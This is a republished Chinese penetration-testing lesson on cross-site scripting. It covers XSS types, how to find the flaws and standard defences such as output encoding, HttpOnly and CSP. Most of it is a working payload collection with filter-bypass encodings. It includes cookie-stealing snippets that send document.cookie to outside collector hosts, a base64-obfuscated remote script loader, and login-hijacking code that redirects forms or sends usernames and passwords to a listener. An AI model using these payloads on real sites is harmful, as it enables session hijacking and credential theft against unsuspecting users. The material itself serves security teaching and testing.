【创宇小课堂】渗透测试-XSS漏洞

admin 2022年1月20日02:37:33安全文章评论81 views16638字阅读55分27秒阅读模式


定义

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许攻击者将恶意代码注入到前端网页上,其他用户在浏览网页时就会执行恶意代码而受到影响。


[!NOTE]

跨站脚本本来的缩写为CSS,但为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分,因此将跨站脚本攻击缩写为XSS

[!TIP]

既然是代码注入,那肯定也是在某些地方执行了特定的代码


本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的前端代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,session,tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈等


[!NOTE]

多说一句,这个漏洞是客户端的问题,基本上对服务端不会造成影响,主要是影响客户端,也就是影响用户的漏洞


危害


  1. 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等
  2. 未授权操作,通过JS发起敏感操作请求
  3. 按键记录和钓鱼
  4. 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  5. 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
[!NOTE]
个人感觉最重要的有两点:
  1. 获取敏感数据,如cookie、个人信息等
  2. 发起敏感操作,如修改密码、新建工单等
简而言之,就是所有js能做到的事,它都能做到


XSS分类


XSS主要分为三类:
  • 反射型XSS
  • 存储型XSS
  • DOM型XSS
其中反射型、DOM-based型可以归类为非持久型XSS攻击,存储型归类为持久型XSS攻击


反射型XSS

[!NOTE]
payload不会存到数据库中,一般出现在查询页面(输入内容会直接返回的参数都可能存在反射型XSS)

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的

攻击者诱导受害者点击包含恶意JavaSctipt代码的URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本
一图胜千言
【创宇小课堂】渗透测试-XSS漏洞
具体攻击流程如下:
  1. 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
  2. 用户点击该恶意链接
  3. web服务将XSS代码(JavaScript代码)以及视图返回给客户端
  4. 客户端解析视图以及XSS代码(JavaScript代码),并将执行结果发送到XSS平台
  5. 攻击者访问XSS平台,读取用户的敏感信息(Cookie)


存储型XSS

[!NOTE]
payload会存在数据库里面,一般出现在会将数据存储到数据库中并展示在前端页面的功能,如注册页、留言板等

存储型XSS是指应用程序将存在XSS payload的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行过滤,直接将其展示在前端,页面将会执行XSS payload攻击用户。

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。

存储型XSS漏洞大多出现在留言板、评论区等会存放到数据库中且会在某些地方展示该数据的功能点,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会直接返回到前端并执行恶意的XSS payload
【创宇小课堂】渗透测试-XSS漏洞
具体攻击流程如下:
  1. 攻击者向web服务插入XSS代码
  2. web服务会将其结果存储到数据库中
  3. 用户正常访问web服务
  4. web服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意XSS代码(JavaScript代码)
  5. 客户端渲染视图,加载XSS代码,并向攻击者的web服务发送敏感信息
  6. 攻击者读取用户的敏感信息

DOM型XSS

[!NOTE]
不与后端服务器交互数据,payload不会存到数据库中,也属于反射型的一种,通过dom操作前端输出的时候产生问题(相比于前两种较难挖掘,需要熟悉基础的js代码)

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的JavaScript脚本,而这些脚本没有经过过滤,那么应用程序就可能受到DOM-based XSS攻击。

需要特别注意以下的用户输入源 document.URL、location.hash、location.search、document.referrer 等
【创宇小课堂】渗透测试-XSS漏洞
具体攻击流程如下:
  1. 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
  2. 用户点击恶意链接,并打开浏览器
  3. 此时浏览器客户端并不会发起http请求到web服务,而是在浏览器客户端执行XSS(JavaScript代码)
  4. 此时将XSS代码执行结果发送给攻击者的恶意服务
  5. 攻击者访问自己的XSS平台并读取用户的敏感信息


各XSS区别


基础对比


反射型
存储型
DOM型
攻击对象
需要攻击者主动寻找受害者并诱导其访问
广撒网,只要有用户访问对应的页面就会触发,危害性更大,范围更广
需要攻击者主动寻找受害者并诱导其访问(同反射型)
持久性
一次性
只要服务器不宕机,payload不被手动删除,就一直存在
一次性
触发点
网站中直接返回参数内容的功能点
网站中将数据直接存储到数据库中,后直接返回数据在前端展示的功能点
取决于DOM节点


反射型XSS与DOM型XSS区别

1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
2、DOM型ⅩSS攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;恶意脚本是在浏览器执行了正常脚本后,才被注入到文档里的
[!TIP]
一句话区分:反射型XSS可以直接在服务端返回的html中看到payload,而DOM型XSS不行

XSS与CSRF的区别

面试常问
类别
特征
XSS
1、主要是加载JavaScript代码,在客户端执行
2、虽然经过后端,数据库(存储型),但主要需要客户端执行XSS代码,才能生效
3、DOM型XSS一定不经过后端,只是对浏览器客户端发起的攻击
4、XSS攻击针对的是用户层面的攻击 (攻击客户端)
CSRF
1、主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求
2、一定会经过后端处理,不然无法执行
3、CSRF是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法


XSS挖掘


黑盒测试

1.分析数据包,所有可控参数都可以输入payload进行尝试,一般可以先输入一些常规标签如h1、img等进行确认
    1. 直接返回输入内容就可能存在反射型XSS
    2. 在页面中进行特定渲染则可能存在DOM型XSS
    3. 直接存储到数据库中则可能存在存储型XSS
  • 当然这些都需要后期的二次确认
2.有时候也可将返回页面中的一些关键词进行构造参数拼接,再进行如上的检查,如以下html代码:

<script>
   var imgErrorLen=0;

</script>

<input type="hidden" name="ie" value="utf-8">

此时就可以尝试构造参数 imgErrorLen=<h1>123</h1>&ie=<h1>123</h1> 拼接
[!TIP]
可以维护一个XSS的Fuzz字典,这样可以快速辅助发现XSS漏洞,不需要一个一个手动去输入

白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
  • PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
  • 也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
  • 大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
  • 同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。


常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性、自定义头像链接等


常见Payload

XSS主要是针对浏览器客户端的一种攻击,需要执行JavaScript代码,那么无疑需要使用到JavaScript语言以及在HTML中可以加载JavaScript的标签


速查表

  • https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


探测器

快速查看过滤了哪些字符

'';!--"<h1>=&{()}</h1>

常用基础payload

基于标签

<--`<img/src=` onerror=confirm``> --!>
<Details Open OnToggle =cou006efirm`XSS`>

<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>

<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>

<a href=1 onmouseover=alert(1)>nmask</a>

<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>

<body onhashchange=a=alert,a(document.domain)>  <!-- # http://xxx.xxx.xxx#123 http://xxx.xxx.xxx#124 触发 -->

<body/onpageshow=alert(1)>

<body onpageshow=alert(1)>

<details/open/ontoggle=top["al"+"ert"](1)>

<discard onbegin=[1].find(alert)>

<iframe src=javascript:alert(1)>

<img src/*sv=x */onerror=alert()>

<img src="X" onerror=(a=alert,b=document['x63x6fx6fx6bx69x65'],a(b))>

<img src="X" onerror=top[8680439..toString(30)](1337)>

<img src="x:alert" onerror="eval(src+'(0)')">

<img src=# onerror=a=alert,a(1)>

<img src=0 onerror=confirm('1')>

<img src=1 onmouseover=alert(1)>

<img src=x onerror=setInterval`alertx28document.domainx29`>

<img src=x onerror=setTimeout`alertx28document.cookiex29`>

<img src=x:alert(alt) onerror=eval(src) alt=0>

<img/src/onerror=alert(1)>

<input class="" name="roots" id="roots" type="text" value=1 onfocus=alert(11) autofocus=>

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> <!--针对 hidden 的 input 标签,firefox下 shift+alt+X 成功-->

<input type=text autofocus/onfocus='prompt(1);'/>//

<marquee onstart=alert(1)>

<video autoplay onloadstart="alert()" src=x></video>

<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<marquee loop=1 onFinish='alert(1)'>123</marquee>   <!-- # 滚动标签 -->

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

<script>a=prompt;a(1)</script>

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <!--用分号,也可以分号+空格(回车一起使用)-->

<script>window.a==1?1:prompt(a=1)</script>

<svg/onload="[]['146151154164145162']['143157156163164162165143164157162']('141154145162164506151')()">

<svg/onload=[document.cookie].find(alert)>

<svg/onload=alert&lpar;1&rpar;>

<svg/onload=alert(1)>

<svg/onload=top['al145rt'](1)>

<svg/onload=top[/al/.source+/ert/.source](1)>

<x/oncut=alert(1)>a

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>

<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/></svg>

<embed src=javascript:alert(1)>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

基于事件

上面基于标签中也有很多基于事件的了,遇到可以用事件的也可以参考下上面的事件

onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")

constructor.constructor(alert(1))

eval('alert(1)')

[1].find(alert);

[self.alert(1)]

top['alx65rt'](2);

top["al"+"ert"](3);

setTimeout('ale'+'rt(4)');

Function("ale"+"rt(5)")();

new Function`alert`6``;

setInterval('ale'+'rt(7)');

top[/al/.source+/ert/.source](9);

open('java'+'script:ale'+'rt(10)');

top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成

self[9350252032..toString(30)](1) // confirm(1)

除了常见的一些事件onerror、onclick等之外,js还有很多的事件,参考如下:
  • https://developer.mozilla.org/zh-CN/docs/Web/Events
  • https://www.w3schools.cn/jsref/dom_obj_event.asp

基于伪协议

如果URL跳转的地址可控,且存在于<a>标签中,就可以利用伪协议来XSS

javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

MarkDown XSS

列举几个,可以需要的时候github再去找

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))

<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  

![a'"`onerror=prompt(document.cookie)](x)

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)

[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

...

XML XSS

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>

获取Cookie手法

<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="js地址"></img>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc='))>

<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> <!-- 需要 jquery 的支持 -->

<img/src/onerror=this.src='//baidu.com/?'+document.cookie>

<!--# 分段构造-->

<img/src/onerror=a=document;>

<img/src/onerror=s=a.createElement('script');>

<img/src/onerror=body.appendChild(s);>

<img/src/onerror=s.src='https://vxss.cc/r7K6'>

<svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">

登陆劫持手法

如果遇到登录页面存在XSS,那么就可以通过一些特殊的js代码来获取账号密码等,达到登陆劫持的目的

举一些例子,可以根据实际情况修改

输入就弹窗

<!-- 输入就弹窗,初始代码 -->
<input name="ccc" type="text" id="1" size="20" /><br />

<script>

var input = document.getElementById('1')

input.oninput = function(){

alert(input.value);

}

</script>

<!-- 输入就弹窗,缩一行 -->

<input name="ccc" type="text" id="xxx" size="20" /><br />

<svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}">

修改表单的action

<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">

<input type="submit">

</form>

<svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';">

<!-- 没有id 没有 name 可以通过 getElementsByTagName 来修改 -->

<svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">

跳转的登陆劫持

如果跳转的链接可控,也可以劫持到数据

redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

获取敏感数据

发送xhr请求获取数据

通过xhr来获取敏感数据,有jquery更简单,只不过xhr比较通用

# 纯js请求获取token -> 正则表达式
<script>

   xhr=new XMLHttpRequest();

   xhr.open("GET", "https://m.gm7.org/", true);

   xhr.send();

   alert("TOKEN Jacking");  //争取延时,readyState必须为4的时候才能获取源码,很烦

   page = xhr.response;

   var tk_regex=new RegExp("\"CSTK\":\".*?\"");

   alert(tk_regex.exec(page)[0]);

</script>

获取当前页面源码

var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari

   xmlhttp = new XMLHttpRequest();

} else { // code for IE6, IE5

   xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);

xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));

绕过

常规手法

一切的绕过都需要尽量知道他的过滤规则,分析出来过滤规则了利用起来就方便多了
常规的一些手法:
  1. 编码
  2. 注释
  3. 大小写
  4. 双写
  5. HPP参数污染
  6. 超长垃圾字符

通用编码手法

可以直接使用xss'or:https://evilcos.me/lab/xssor/
XSS'OR 编码后用在 on 事件之后 onerror=xss'or encode,也可以用到eval函数中 eval("xss'or encode")

<svg/onload=alert(/xss/)>
<script>eval("u0061u006cu0065u0072u0074u0028u0031u0029")</script>

常用编码:
  • 第一个,html实体编码,例如:alert()
  • 第二个,进制类,例如:x61x6cx65x72x74x60x78x73x73x60,某些时候,也有不带x,例如:5c6a
  • 第三个,Unicode,例如:u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060
  • 第四个,纯转义,例如:'   "   <   > ,这样的在特殊字符前加进行转义。
其他编码手法:
  • jsfuck:http://www.jsfuck.com/
【创宇小课堂】渗透测试-XSS漏洞
  • jjencode
【创宇小课堂】渗透测试-XSS漏洞

通过eval函数

上面也提到了,算是举例子吧
# 十六进制

<script>eval("x61x6cx65x72x74x28x27x78x78x78x78x27x29")</script>
# ASCII

<img src="javascript:alert(1)" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))>

# 其他

<script>eval(String.u0066u0072u006fu006du0043u0068u0061u0072u0043u006fu0064u0065(0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29))</script>

绕过<过滤

大多数网站在防御时,都会给输入的<进行编码处理,让我们误认为不存在XSS,但是我们不清楚后端是如何处理的,可能输入一些特殊的编码会被后端解码呢?
所以可以用如下的一些payload来遍历,看看有不有能让<解码后使用的,达到我们XSS的目的

<
%3C

%253C

%25253C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

<

<

<

<

<

<

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

<

<

<

<

<

<

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

<

<

<

<

<

<

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

<

<

<

<

<

<

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

<

<

<

<

<

<

x3c

x3C

u003c

u003C

绕过关键词过滤

有些网站可能禁止使用一些关键词如document.cookie,可以通过如下的方式来绕过

document . cookie
document/*xxx*/./*xxx*/cookie

绕过空格过滤

/**/ 可以替代空格

<img st/**/src ="x"/**/onerror=alert(1)>

以及一些URL编码也可以代替空格

%0a
%0d

%09

%20

%00

绕过javascript过滤

javasrcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))//
// http://example.com/redirect?url=javascript:alert()

document.location = 'javasctript:alert(123)'

document.location = 'javascrript:alert(123)'

document.location = 'javascnript:alert(123)'

绕过括号()过滤

alert`1`
prompt`${document.cookie}`
window.onerror=alert;throw 1
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script type="text/javascript">window.onerror=alert;throw 1</script>

绕过长度限制

  • 执行锚点后面的内容 location.hash
  • 使用 import('//domain/file'),这个需要使用同样的协议,加载的js的响应头中的content-type为application/javascript而且允许跨域加载Access-Control-Allow-Origin: * 参考文章
  • 特殊的unicode字符:https://www.fuhaoku.net/danweifuhao/
【创宇小课堂】渗透测试-XSS漏洞

利用JS全局变量绕过

  • 全局变量

window
self

_self

this

top

parent

frames

  • 一些payload,也可以参考 基于事件

window["document"]["cookie"]
window["alert"](window["document"]["cookie"])

self["alert"](self["document"/*xxx*/]["cookie"])

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

self["x61x6cx65x72x74"](self["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"])

self["x65x76x61x6c"](self["x61x74x6fx62"]("ZG9jdW1lbnQuY29va2ll"))

// Jquery

self["$"]["globalEval"]("alert(1)")

// 高级用法,不出现alert等关键词,遍历全局变量找到对应的函数

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }   // 先搜索到alert函数的id

self[Object.keys(self)[5]]("foo") // alert("foo")

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // 正则表达式匹配出alert然后定义函数a为alert

self[Object.keys(self)[a()]]("foo")

  • 字符串转16进制(x格式的)

import binascii
result = []

a = input("tt: ")

for i in a:

result.append(binascii.b2a_hex(i.encode()))

result = [i.decode() for i in result]

result = "\x".join(result)

print ("\x" + result)

常规防御

输入检查

1、假定所有输入都是可疑的,必须对所有输入中的<、>、'、"、on.*、script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等
常见过滤字符:
字符
说明
西文竖线符号
&
& 符号
;
分号
$
美元符号
%
百分比符号
@
at 符号
'
单引号
"
引号
'
反斜杠转义单引号
"
反斜杠转义引号
<>
尖括号
()
括号
+
加号
CR
回车符,ASCII 0x0d
LF
换行,ASCII 0x0a
,
逗号
反斜杠
=
等号
2、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
  • 如果数据类型为整型,则使用intval强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取[email protected]_范围内的值,其它字符则忽略掉


输出编码

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有3种编码:
  • URL编码
  • HTML编码
  • JavaScript编码
常见需要编码的字符:

& --> &amp;
< --> &lt;

> --> &gt;

" --> &quot;

' --> '

/ --> /

使用httponly

HTTP-only Cookie:禁止JavaScript读取某些敏感Cookie,使得攻击者完成XSS注入后也无法成功窃取到Cookie

[!WARNING]
httponly无法完全的防御XSS漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题

Httponly是在set-cookie时标记的,可对单独某个cookie标记也可对所有cookie标记,由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准

[!DANGER]
httponly在某些情况也是可以获取到cookie的
  • 例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制ErrorDocument时利用此缺陷攻击者可以获得httpOnly cookie信息
  • 开启TRACE协议


使用CSP

Content Security Policy(内容安全策略):
  1. 禁止加载外域代码,防止复杂的攻击逻辑。
  2. 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  3. 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  4. 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  5. 合理使用上报可以及时发现 XSS,利于尽快修复问题。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

可以参考mozilla的官方文档:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

特殊防御

富文本编辑器XSS修复

富文本编辑器的XSS不同于其他地方,因为它本身是允许支持部分标签的,也就是说至少需要支持<>
修复建议有3点:
  1. 设置标签白名单,如仅允许<a>、<img>等必须标签等
  2. 为白名单标签的属性设置白名单,如<a>仅允许使用href属性等,同时限制属性中的内容防止伪协议造成XSS漏洞,禁止出现on.*等事件属性


URL可控

由于某些地方URL可控,使用javascript等伪协议仍然可以触发XSS漏洞,如

<a href="{xss payload}">Test</a>

这个时候修复则需要两步进行修复:
  1. 验证URL是否以http(s)://开头,如果不是则自动添加或拒绝请求,确保不会出现伪协议
  2. 对http(s)://后的内容进行URL编码处理

JSONP

部分网站由于跨域调用中callback函数名可以自定义,可以将回调函数名修改为XSS语句导致XSS漏洞
修复也很简单,设置返回的header头即可,如下

Content-Type: application/json; charset=utf-8

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月20日02:37:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【创宇小课堂】渗透测试-XSS漏洞 http://cn-sec.com/archives/744593.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: